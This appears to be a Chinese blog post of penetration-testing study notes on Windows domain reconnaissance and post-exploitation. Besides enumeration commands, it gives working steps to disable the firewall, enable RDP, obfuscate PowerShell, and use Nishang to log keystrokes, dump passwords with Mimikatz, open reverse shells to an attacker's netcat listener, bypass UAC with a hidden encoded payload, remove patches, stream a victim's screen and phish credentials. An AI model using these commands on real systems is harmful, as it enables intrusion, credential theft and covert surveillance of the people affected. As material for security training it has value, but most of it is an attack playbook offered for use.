Chosen1|安全

内网信息收集

工作组信息收集

查询网络配置
查询用户列表
查询进程列表
查询操作系统及安装软件版本信息
查询端口列表
查询补丁列表
查询本机共享
查询防火墙配置
查询并开启远程连接服务

查询网络配置

使用ipconfig /all,查看同时拥有几个IP,网卡

查询用户列表

net user 查看当前有哪些用户
net1 user
n^e^t u^s^e^r  这两个都可以使用 ^是windows的转义
net localgroup 列出当前主机有哪些组
query user 或 qwinsta   查询当前该主机上登录了哪些用户
本地登录为console,远程为rdp-tcp #5为第几个rdp登录

查询进程列表

使用tasklist来查询进程列表
PID        process identification 进程唯一标识符
tasklist /v 显示详细信息
wmic process list brief
属于wmi组件
wmi windows management instruction

帮助我们对windows中的命令进行管理操作
强化版本的cmd
powershell

process 进程
list 列表
brief 简单的 简明的
进程和线程的区别?
一个进程下可以对应多个线程 线程相互之间可以做到不干扰
同一个进程下的线程可以共享进程的内存空间

查询操作系统及安装软件版本信息

systeminfo  获取操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"    powershell出不来,需要使用cmd
wmic product get name,version    查看安装软件以及版本,路径等

查询端口列表

查看端口
windows   netstat -ano

linux   netstat -anltp

-a            Displays all connections and listening ports.
a 展示所有的连接以及监听的端口


-n            Displays addresses and port numbers in numerical form
以数字的形式展示所有的地址和端口

-o            Displays the owning process ID associated with each connection
展示每一个连接的关联的进程id



0.0.0.0 在本地代表 该主机上的任意接口的ip
192.168.1.62:12345
0.0.0.0 该主机上的所有的接口
1) 通过netstat -ano | findstr "ESTABLISHED"
列出所有处于ESTABLISHED状态的连接

2) 发现pid 8680
tasklist /v | findstr 8680

ESTABLISHED 代表已经建立的连接

查询补丁列表

Wmic qfe get description,installedOn  
使用wmi组件查询补丁,获取描述与是否安装,其实get后面都是可以自己选择的列
我们可以选择我们有需要的进行填写
这里我使用的是
wmic qfe get description,hotfixid,installedon
                 描述      热修复     是否安装

查询本机共享

Net share
Net share sharename                比如 ipc$  admin$
Wmic share get name,path,status
如何查看自己是否成功进入,使用net use,查看路径,dir 查看的路径如果可以返回即算连接成功

查询防火墙配置

关闭防火墙
netsh advfirewall set allprofiles state off/on
查看防火墙状态
netsh firewall show config

查询并开启远程连接服务

开启3389端口
查询并开启远程连接服务
1、查看远程连接端口号
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
2、查看3389是否开启
Netstat –ano | findstr "3389"
3、开启远程连接服务
Windows server 2008和windows server 2016开启3389的方法
    1、 wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 
    2、 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 
    3、 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
以上前提条件是确保Windows Management Instrumentation(Winmgmt)服务已正常启动,权限需要administrator及以上。

这是应用了注册表的方法
之后我们win+r使用mstsc进行远程连接rdp服务,并能成功登录

查询当前权限

查询当前权限
Whoami
本地普通用户
本地管理员用户
域内用户bihuo/administrator
Whoami /all 获取域SID

Net user XXX /domain     查询指定域账户的详细信息

域内信息收集

判断是否有域

右键=>属性=>域
ipconfig /all
systeminfo
net user /domain
net config workstation

net time /domain
从DC 中同步时间
在域中,且登录的是域用户(显示时间)
在域中,但是登陆的不是域用户(拒绝访问)
不在域中(找不到域)
net config workstation
不在域内
在域内

判断域内存活主机

netbios

netbios 协议  TCP 139端口      UDP137 138端口
nbtscan.exe 192.168.1.0/24(探测能够通信的主机IP)
但是扫不到自己的IP地址,我的IP为192.168.1.187并为看见自己的IP

ICMP

防火墙 禁ping
收到ping包 丢弃不响应
如果目标主机 配置了ping包的不响应 此时ping 获取的主机数将要少于真实的主机数量


工具:ping命令:for /L %I in (1,1,254) DO @ping –w 1 –n 1 192.168.1.%I | findstr "TTL="
  1. for /L %I in (1,1,254) 是一个循环,从1循环到254。变量%I用于表示当前的迭代。
  2. DO 开始在每次迭代中执行的命令块。
  3. @ping -w 1 -n 1 192.168.1.%I 发送一个单一的ping(-n 1)到IP地址192.168.1.%I,超时为1毫秒(-w 1)。
  4. | 是一个管道符号,将ping命令的输出作为输入传递给下一个命令。
  5. findstr "TTL=" 用于过滤ping命令的输出,只显示包含字符串"TTL="的行。TTL(生存时间)值是ping响应的一部分,表示数据包在被丢弃之前可以经过多少跃点。

因此,这个命令实际上是尝试ping从192.168.1.1到192.168.1.254的每个IP地址,并仅显示包含响应中"TTL="字符串的行。这可以用于检查本地网络上设备的可用性,并查看响应ping请求的设备。

这个代码可以扫描出来内网中,可以ping的所有存活主机

ARP扫描完整探测内网

使用工具arp-scan.exe
1、arp-scan     命令 arp.exe –t ip   arp.exe –t  192.168.1.0/24
2、invoke-arpscan.ps1
注意arp protocol只有同网段才可以支持

ps命令:
本地运行:powershell.exe -exec bypass -Command "Import-Module ./Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.10.0/24"

ladon工具使用

内网中存活主机的发现:
    1) netbios协议 139 
        nbtscan
    2) icmp协议
        ping

    3) arp协议
    4) rdp协议
    5) dns协议
    6) snmp协议
    7) smb协议
    8) winrm协议
    9)exchange协议

scanline使用

利用常规tcp/udp端口扫描探测内网
工具:scanline
命令:sl.exe -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,5432 -u 53,161,137,139 -o c:\windows\temp\sl_res.txt -p 192.168.10.1-15 /b

域内端口扫描

域内端口扫描

端口的banner信息
端口上运行的服务
常见应用的默认端口
1、telnet命令
命令:telnet ip 端口



3、Metasploit模块  search portscan  

4、invoke-portscan.ps1
    powershell.exe -exec bypass -Command "Import-Module ./Invoke-Portscan.ps1;Invoke-Portscan -Hosts 192.168.10.0/24 -T 4 -ports '445,1433,80,8080,3389'"  
2、Nmap工具扫描

nmap     -A          -vvvv            -p-                 -T4                     -Pn                         qwetvg.com  
     启动Os检测     输出相信细心      扫描所有端口       设置时间模板(0-5)    将所有主机视为在在线,跳过主机发现             IP地址 

域内基础信息收集

这些域命令需要域权限(域用户)或system权限才能执行

Net view /domain

Net view /domain                            查看域名

如果报错6118,使用win+r输入services.msc 开启:Server ,WorkStation,computer Browser服务
如果你的电脑没有computer Browser服务,win+R 输入appwiz.cpl ,选择启用或关闭Windows功能,选择SMB1.0/CIFS 文件共享支持,重启电脑。然后开启以上3个服务。
重启电脑即可

Net view /domain:xxx

Net view /domain:xxx                查看xxx域内所有主机
一种很新的ping的手段
ping CHOSEN.zzp.com

Net group /domain

Net group /domain                查看用户组列表

Net group "Domain Admins" /domain

Net group "Domain Admins" /domain    查询域管理员列表
Net group "Domain Admins"  这两个都可以但是加/domain可以表示查询的域,更加清晰

Net accounts /domain

Net accounts /domain                查看域用户密码策略

Nltest /domain_trusts

Nltest /domain_trusts                查看域信任信息

域控制器的查找

这些域命令需要域权限(域用户)或system权限才能执行

Net time /domain

Net time /domain                查看域时间
之后ping他的主机名,即可获得他的IP地址,我这里他给我的是IPV6地址

Net group "domain controllers" /domain

Net group "domain controllers" /domain    查看所有域控制器
之后使用ping/nslookup来查询DC的IP地址,会给出详细的IP地址IPV4和IPV6的

nltest /dclist:zzp

nltest /dclist:zzp                查看域控制器的名称
之后使用ping/nslookup来查询DC的IP地址,会给出详细的IP地址IPV4和IPV6的

nslookup -type=SRV _ldap._tcp zzp.com

nslookup -type=SRV _ldap._tcp zzp.com
查看dns服务器(因为有可能有多个域所以配上你要搜索的域的名字)
内网渗透中,大都是通过寻找DNS服务器来确定域控制器位置(因为DNS服务器和域控制器通常配置在一台机器上)

netdom query pdc

netdom query pdc                查找域控制器
             pdc ==> prominent domain controller 主域控制器

域内用户和管理员的获取

Net user /domain

第一步:Net user /domain                查看域用户列表
第二步:Wmic useraccount get /all            获取域内用户详细信息


用户的sid号
黄金票据
用户的sid = 域的sid+三位数字
每个用户的sid一定是独一无二的

Dsquery user

Dsquery user                    dc上面的命令,查询用户

Dsquery user -name xxx

Dsquery user -name xxx                         查看xxx用户信息

Net localgroup administrators /domain

Net localgroup administrators /domain    查看administrators组内所有用户

定位域名管理员

PVEFindADUser

使用PVEFindADUser进行查找域管理员,在cmd中运行
命令为 PVEFindADUser.exe -current

PSTOOLS工具包

使用工具包中的PsLoggedon64,在cmd中运行

扫描远程系统上的NetBios信息

net group "Domain Admins" /domain > admins.txt 
net group "Domain Controllers" /domain > dcs.txt

扫描远程系统上的运行的任务

收集域管理员的列表
    net group "domain admins" /domain > admins.txt

    net group "domain controllers" /domain > dcs.txt

    FOR /F %i in (dcs.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (admins.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
(脚本查询活动会话,dcs.txt写入域控器列表 admins.txt写入管理账号)


@tasklist /V /S WIN-DKVHOTP6J0N

s的参数
远程去连接其他主机 来执行tasklist命令

如果提示你需要输入密码,则是你的权限太低了后面可以指定/u ZZP\Administrator 来登录域管理账号,否则你即使输入密码也会提示你密码错误
因为后续发现脚本存在问题所以,决定简化脚本,先使用
net group "domain admins" /domain,查看域管列表
之后使用tasklist /V /S WIN-DKVHOTP6J0N(主机名) /U(为有权限的用户名 选填) | findstr "Administrator"

获取域管理员列表

net group "domain admins" /domain

查看本机所有进程

Tasklist /v | findstr "administrator"
交叉(当前域有多少个管理员,本机所有进程有那些是域管理员运行的)域管理员进程,然后模拟域管理进程从而获取域管理员权限。

Powershell

基本语法

cmd能做的powershell可以做
powershell能做的cmd不一定能做


powershell
就是 强化版本的cmd
关于powershell中的比较运算符
<   less than 简写-lt

>  greater than 简写-gt

>= greater than or equal 简写-ge

<= less than or equal 简写-le

=  equal 简写-eq
也可以使用powershell ise编辑工具,来进行代码编辑
小练习
输出质数
<?php
$z = $_GET['p'];

if($z < 2){
  echo "false";
  die();
}

if ($z == 2) {
  echo $z;
  die();
}

for ($i=2; $i < $z ; ++$i) {
    if ($z % $i != 0) {

    }else{
      echo "false";
      die();
    }
}
echo $z;
?>

// 老师的powershell代码
function isPrime($num){
    if ($num -le 1){ return 0};
    for($i = 2; $i -lt $num; ++$i){
        if ( ($num % $i) -eq 0){
        return 0;

        }
    }
    return 1;
}

function rangePrintPrime($range){
    for($i = 2; $i -le $range; ++$i){
        if (isPrime $i){
            echo $i;
        }
    }
}

PowerShell执行权限

需要在powershell中执行
get-executionpolicy 查看执行策略

Restricted          无任何执行权限。
Allsigned        只能执行有签名的脚本。
Unrestricted        可执行任何PS脚本,是PS最大权限。
Remotesigned        可执行本地PS脚本。

set-executionpolicy  + 对应权限  修改执行策略
但是由于我们执行完脚本 进行下一句的rangePrintPrime是 脚本所占的内存空间会被释放 被销毁
所以我们import-moudle
import 导入 moudle 模块

使用import-module 将模块导入到内存中
就不会立即销毁,所以可以是从我们的rangePrintOrime 100;
我们还可以使用命令绕过
无法修改,可以尝试加参数绕过:-exec bypass  常用于ps命令执行绕过。
Powerview常用于ps和wmic对内网信息查询,它现在集成在powersploit   

powersploit

https://www.baidu.com/link?url=2-rcX-lozOa5fx0QPrgdgkou1CH61XPGS2bXsQvqpE2dwsalTFVrWSJ_EbuTKmBB8jVe3s98RHD7VlT0rJ__4K&wd=&eqid=c5690ba5000003eb000000036555d4c3
收集了 渗透测试相关的 powershell脚本

探测模块

Get-NetDomain               #查看域名称
Get-NetDomainController     #获取域控的信息
Get-NetForest               #查看域内详细的信息
Get-Netuser                 #获取域内所有用户的详细信息
Get-NetUser | select name   #获得域内所有用户名
Get-NetGroup        #获取域内所有组信息
Get-NetGroup | select name  #获取域内所有的组名
Get-NetGroup *admin* | select name   #获得域内组中带有admin的
Get-NetGroup "Domain Admins"         #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test   #获得域内组中用户test的信息

Get-UserEvent        #获取指定用户日志信息
Get-NetComputer             #获取域内所有机器的详细信息
Get-NetComputer | select name   #获得域内主机的名字
Get-Netshare                #获取本机的网络共享
Get-NetProcess              #获取本机进程的详细信息
Get-NetOU                #获取域内OU信息
Get-NetFileServer      #根据SPN获取当前域使用的文件服务器
Get-NetSession         #获取在指定服务器存在的Session信息
Get-NetRDPSESSION           #获取本机的RDP连接session信息
Get-NetGPO           #获取域内所有组策略对象
Get-ADOBJECT                #获取活动目录的信息
Get-DomainPolicy       #获取域默认策略

Invoke-UserHunter           #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin  #枚举出本地的管理员信息
Invoke-ProcessHunter        #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter    #根据用户日志获取某域用户登陆过哪些域机器
可以通过文件夹中的md文档查看使用教程
通过名称获取对应的sid号
前提条件需要在域内
首先应用模块
import-module .\powerview.ps1
convert-nametosid administrator
通过sid获取名称
convert-sidtoname S-1-5-21-3159605089-145188794-3567602335-500

Invoke-Obfuscation

调用混淆模块

[*] TOKEN\STRING 混淆字符串令牌(建议首先运行)
[*] TOKEN\COMMAND 混淆命令令牌
[*] TOKEN\ARGUMENT 混淆参数令牌
[*] TOKEN\MEMBER 混淆成员令牌
[*] TOKEN\VARIABLE 混淆变量令牌
[*] TOKEN\TYPE 混淆类型令牌
[*] TOKEN\COMMENT 移除所有注释令牌
[*] TOKEN\WHITESPACE 插入随机空白(建议最后运行)
[*] TOKEN\ALL 从上述选择中全选(随机顺序)


1.import-module .\invoke-obfuscation.psd1    引入模块
2.invoke-obfuscation    调用混淆方法
3.set path 后面尽量跟绝对路径

STRING

[*] STRING\1 连接整个命令
[*] STRING\2 在连接后重新排序整个命令
[*] STRING\3 在连接后反转整个命令
选择混淆方式
设置脚本路径 SET SCRIPTPATH 后面跟上绝对路径
选择如何拼接字符串
使用out加绝对路径导出,虽然会报错,但是还是会输出出来
最后使用POWERSHELL ISE 来运行这个混淆后的脚本看看是不是成功

TOKEN

ALL
这里我使用的是ALL选项
由于我使用STRING时设置了脚本的路径所以这里自动给我混淆了
COMMAND
[*] TOKEN\COMMAND\1 勾号 --> 例如 New-OBject
[*] TOKEN\COMMAND\2 展开 + 连接 --> 例如 &('Ne'+'w-Ob'+'ject')
[*] TOKEN\COMMAND\3 展开 + 重新排序 --> 例如 &('{1}{0}'-f'bject','New-O')
ARFUMENT (失败)
[*] TOKEN\ARGUMENT\1 随机大小写 --> 例如 nEt.weBclIenT
[*] TOKEN\ARGUMENT\2 勾号 --> 例如 nET.weBclIeNT
[*] TOKEN\ARGUMENT\3 连接 --> 例如 ('Ne'+'t.We'+'bClient')
[*] TOKEN\ARGUMENT\4 重新排序 --> 例如 ('{1}{0}'-f'bClient','Net.We')
Member(失败)
[*] TOKEN\MEMBER\1      Random Case --> e.g. dOwnLoAdsTRing
[*] TOKEN\MEMBER\2      Ticks       --> e.g. d`Ow`NLoAd`STRin`g
[*] TOKEN\MEMBER\3      Concatenate --> e.g. ('dOwnLo'+'AdsT'+'Ring').Invoke()
[*] TOKEN\MEMBER\4      Reorder     --> e.g. ('{1}{0}'-f'dString','Downloa').Invoke()
VARIABLE
[*] TOKEN\VARIABLE\1    Random Case + {} + Ticks --> e.g. ${c`hEm`eX}
TYPE(失败)
[*] TOKEN\TYPE\1        Type Cast + Concatenate --> e.g. [Type]('Con'+'sole')
[*] TOKEN\TYPE\2        Type Cast + Reordered   --> e.g. [Type]('{1}{0}'-f'sole','Con')
COMMENT(失败)
[*] TOKEN\COMMENT\1     Remove Comments   --> e.g. self-explanatory
WHITESPACE
[*] TOKEN\WHITESPACE\1          Random Whitespace --> e.g. .( 'Ne'  +'w-Ob' +  'ject')
虽然报错但是还是输出了

AST

[*] AST\NamedAttributeArgumentAst 混淆 NamedAttributeArgumentAst 节点
[*] AST\ParamBlockAst 混淆 ParamBlockAst 节点
[*] AST\ScriptBlockAst 混淆 ScriptBlockAst 节点
[*] AST\AttributeAst 混淆 AttributeAst 节点
[*] AST\BinaryExpressionAst 混淆 BinaryExpressionAst 节点
[*] AST\HashtableAst 混淆 HashtableAst 节点
[*] AST\CommandAst 混淆 CommandAst 节点
[*] AST\AssignmentStatementAst 混淆 AssignmentStatementAst 节点
[*] AST\TypeExpressionAst 混淆 TypeExpressionAst 节点
[*] AST\TypeConstraintAst 混淆 TypeConstraintAst 节点
[*] AST\ALL 从上述选择中全选
NamedAttributeArgumentAst
ParamBlockAst
ScriptBlockAst
AttributeAst
BinaryExpressionAst
HashtableAst
CommandAst
AssignmentStatementAst
TypeExpressionAst
TypeConstraintAst
ALL

ENCODING

[*] ENCODING\1 将整个命令编码为 ASCII
[*] ENCODING\2 将整个命令编码为十六进制
[*] ENCODING\3 将整个命令编码为八进制
[*] ENCODING\4 将整个命令编码为二进制
[*] ENCODING\5 将整个命令加密为安全字符串(AES)
[*] ENCODING\6 将整个命令编码为 BXOR
[*] ENCODING\7 将整个命令编码为特殊字符
[*] ENCODING\8 将整个命令编码为空白字符
ENCODING\1
ENCODING\2
ENCODING\3
ENCODING\4
ENCODING\5
ENCODING\6
ENCODING\7
ENCODING\8

COMPRESS

[*] COMPRESS\1  Convert entire command to one-liner and compress
COMPRESS\1

Nishang

翻译:

1. ActiveDirectory:
   - 这个模块集合包含了用于与Active Directory(AD)交互的工具,如执行AD用户和组的信息收集、攻击AD凭证等功能。

2. Antak-WebShell:
   - Antak-WebShell 是 Nishang 中的一个专用 WebShell 模块,用于在目标系统上建立和管理 WebShell。

3. Backdoors:
   - 这个模块集合包括了一系列用于在目标系统上建立后门访问的工具,比如反向Shell和通过HTTP的Shell等。

4. Bypass:
   - 该类别的模块主要涉及绕过安全机制的工具,比如绕过用户账户控制(UAC)的工具。

5. Client:
   - 这个类别包含了一些用于与客户端进行交互的工具,例如通过DNS协议进行数据传输的 Invoke-DNSBypass 工具。

6. Escalation:
   - 包含一些用于提权的工具,比如绕过UAC、寻找提权漏洞等。

7. Execution:
   - 这个类别包含了一系列用于在目标系统上执行代码的工具,例如执行Shellcode的 Invoke-Shellcode 工具。

8. Gather:
   - 包含一些用于信息收集的工具,如获取系统信息、网络信息、Wi-Fi凭据等。

9. Misc:
   - 这是一个包含各种杂项工具的类别,可能涉及多个功能领域。

10. MITM (Man-in-the-Middle):
    - 包含用于执行中间人攻击的工具,例如截获网络流量的 Invoke-MimikatzOverSSH。

11. Pivot:
    - 包含用于在目标网络中进行横向移动的工具,例如通过WMI执行 PowerShell 脚本的 Invoke-PowerShellWMI 工具。

12. powerpreter:
    - 包含与 PowerShell 相关的工具,用于在目标系统上执行 PowerShell 脚本。

13. Prasadhak:
    - 这个类别包含 Prasadhak 工具,可能与信息收集和渗透测试相关。

14. Scan:
    - 包含用于执行网络扫描的工具,例如执行 TCP 端口扫描的 Invoke-PortScan 工具。

15. Shells:
    - 包含用于创建和管理不同类型的 Shell 的工具,如反向Shell、通过 HTTP 的 Shell 等。

16. Utility:
    - 这是一个包含各种实用工具的类别,可能与不同方面的操作相关。

总结:

ActiveDirectory:活动目录
Antak-WebShell:在内存中执行PowerShell脚本,运行命令,并使用此Webshell下载和上载文件。
Backdoors:一个后门,可以从第三方网站接收指令,并在内存中执行PowerShell脚本。
Bypass:实施公共已知方法来绕过
Client:客户端
Escalation:当需要权限时提权
Execution:命令执行(RCE)
Gather:信息收集
MITM:用于MITM攻击的本地HTTPS代理
Misc:脚本
Pivot:跳板、远程执行exe
Prasadhak:对照VirusTotal数据库检查正在运行的进程的运行哈希。
Scan:扫描
Shells:shell
Utility:杂项
Powerpreter:Meterpreter会话
前提
执行get-host命令查看版本信息,Nishang需要Powershell版本在v3以上才能使用(windows10自带的是5.1版本的)

在PowerShell导入模块的时候是不允许的,在默认的设置, 不允许任何脚本运行(Restricted),所以我们需要修改权限为remotesigned
输入指令Set-ExecutionPolicy remotesigned,修改策略后就可以成功导入脚本
Usage

Import all the scripts in the current PowerShell session (PowerShell v3 onwards).

PS C:\nishang> Import-Module .\nishang.psm1

Use the individual scripts with dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

To get help about any script or function, use:

PS C:\nishang> Get-Help [scriptname] -full

Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.

For example, to see the help about Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Check-VM
Gather目录下的
Check-VM
Get-Information
综合基础信息查询
Keylogger

首先引入nishang模块

import-module C:\Users\Administrator\Desktop\nishang-master\nishang.psm1

使用keylogger.ps1

.\keylogger.ps1

会跳出来两个让你填写的东西

checkurl:用来检查的url,需要保证可以访问到
magicstring:访问一个url 如果该url中包含特定的字符串 停止交易

一句话
CheckURL去检查设置的URL页面中有没有 -MagicString后的字符串,有的话停止,没有的话继续
CheckURL 也一定要写自己的,要不停不下来了
没有设置persist的,关掉当前PowerShell,即刻停止
之后打开一个文本随便输入进行实验
这时我们使用nishang Utility中的Parse_Keys来解析
通过everything来搜索key.log在哪里
进入Parse_Keys模块
命令为Parse_Keys C:\Users\Administrator\AppData\Local\Temp\2\key.log .\zzp_4.txt
                            key.log的绝对路径                           保存在哪里
Invoke-Mimikatz
加载mimikatz获取计算机密码
如果报错提示:win10 ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory

需要win10以管理员身份运行powershell即可解决该问题
Get-PassHashes
获取账号密码的hash值,前面为LM HASH 后面为 NTLM HASH,但是值都一样,判断为废弃
反弹shell
受害机执行

Invoke-PowershellTcp -Reverse -IPAddress x.x.x.x -Port xxxx
nc -lvvp xxxx
反弹tcp协议

Invoke-Powershelludp -Reverse -IPAddress x.x.x.x -port xxxx
nc -lup xxxx
反弹udp协议

Invoke-PoshRatHttp -IPAddress x.x.x.x -Port xxxx
反弹http协议

Invoke-PoshRatHttps -IPAddress x.x.x.x -Port xxxx
反弹https协议



攻击机执行

nc -nvlp xxxx
BypassUAC提权
假设已经将nishang下载到受害主机接下来需要进行UAC提权

使用sysprep方法和默认的Payload执行

Invoke-PsUACme -Verbose
打开受害者主机的powershell,执行命令:Invoke-PsUACme,执行成功后会弹窗一个窗口,点击进入系统全新体验
窗口是超级管理员权限,可以添加账号
//使用oobe方法和默认的Payload执行
Invoke-PsUACme -method oobe -Verbose
//使用-Payload参数可以自行指定要执行的Payload
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
删除补丁
Remove-Update 加补丁号
Remove-Update KB4534132
屏幕监控
屏幕窃取,一样正反向连接通吃

-IPAddress 后面加IP地址(反向链接需要)

-Port 加端口

-Bind 正向连接

反向链接窃取屏幕

靶机:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333

攻击机:netcat -nlvp 3333 | netcat -nlvp 9999

之后访问攻击机器的9999端口,就可以窃取到屏幕了


正向连接窃取屏幕

靶机执行:Show-TargetScreen -Bind -Port 3333

攻击机执行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999

之后同样,访问本机的9999端口,就能正常访问了。
靶机:Show-TargetScreen -Reverse -IPAddress 192.168.139.140 -Port 7777
攻击机:netcat -nlvp 7777 | netcat -nlvp 9999
URL访间攻击机 IP: 9999
kali执行netcat -nlvp 7777 | netcat -nlvp 9999
将监听到的7777端口的数据转发到9999端口上去
使用127.0.0.1:9999即可查看受害者桌面
受害机执行
Show-TargetScreen -Reverse -IPAddress 192.168.139.140 -Port 7777
钓鱼
Invoke-CredentialsPhish
欺骗用户,让用户输入密码
不给正确密码就不给关

附带一个简单的如果虚拟机vmware tools失效的办法

打开一台可以使用的kali

python3 -m http.server 8787
使用python3 在8787端口 开启一个http服务

gedit command.txt  开启notepad记事本
写入你的需要写的东西

面试高频

*** 如何快速判断域是否存在
a) 右键 ==> 属性 ===> 域
b) systeminfo | finstr "域"
c) 登录域账户

*** 如何定位DC
内网渗透中,大都是通过寻找DNS服务器来确定域控制器位置(因为DNS服务器和域控制器通常配置在一台机器上)
    1) DC 往往是DNS服务器
        dnslookup 域名
    2) net time /domain 
        在域内且是域用户
        返回 DC主机名 
        dnslookup DC主机名
    3) net group "domain controllers" /domain 
        找到DC

    4) nltest /dclist:域名
    5) netdom query dc

定位域管理员:
    pvefindAduser
    psloggedon

如何判断当前是域用户普通的用户

***** 黄金白银票据

*** kerberos协议

**** 横向移动常见方式

**** mimikatz使用方式以及原理

*** 如何判断域内存活主机
netbios 协议  TCP 139端口  UDP137 138端口
几种判断在不在域中常见场景
1) 当前主机不在域中 

2) 当前主机在域中 但是当前用户非域用户 
    域DC :windows server 2012
    域成员主机: windows 7 以本地的管理员登录

3) 当前主机在域中 且当前用户为域用户
2)
#1 不在域内
2)
#2 在域内但是登陆的不是域用户

nmap为什么有时要使用禁ping

nmap为什么要使用禁ping
nmap扫描之前会先进行ping,来探测主机,但是windows可以开启禁ping,会导致他认为主机不开启,所以扫面会不准确

面试题

目标扫描A段的端口
怎么完成100万个IP端口收集

使用masscan 初筛 --rate 设置扫描速率
nmap精细扫描 -sV -A -T4

NAT协议

运营商 划分内网

payload和shellcode的区别

payload
shellcode 是payload中的核心代码
shellcode 是payload中的核心代码, 无法独立运行
payload = shellcode + shellcode加载器

Views: 10

退出移动版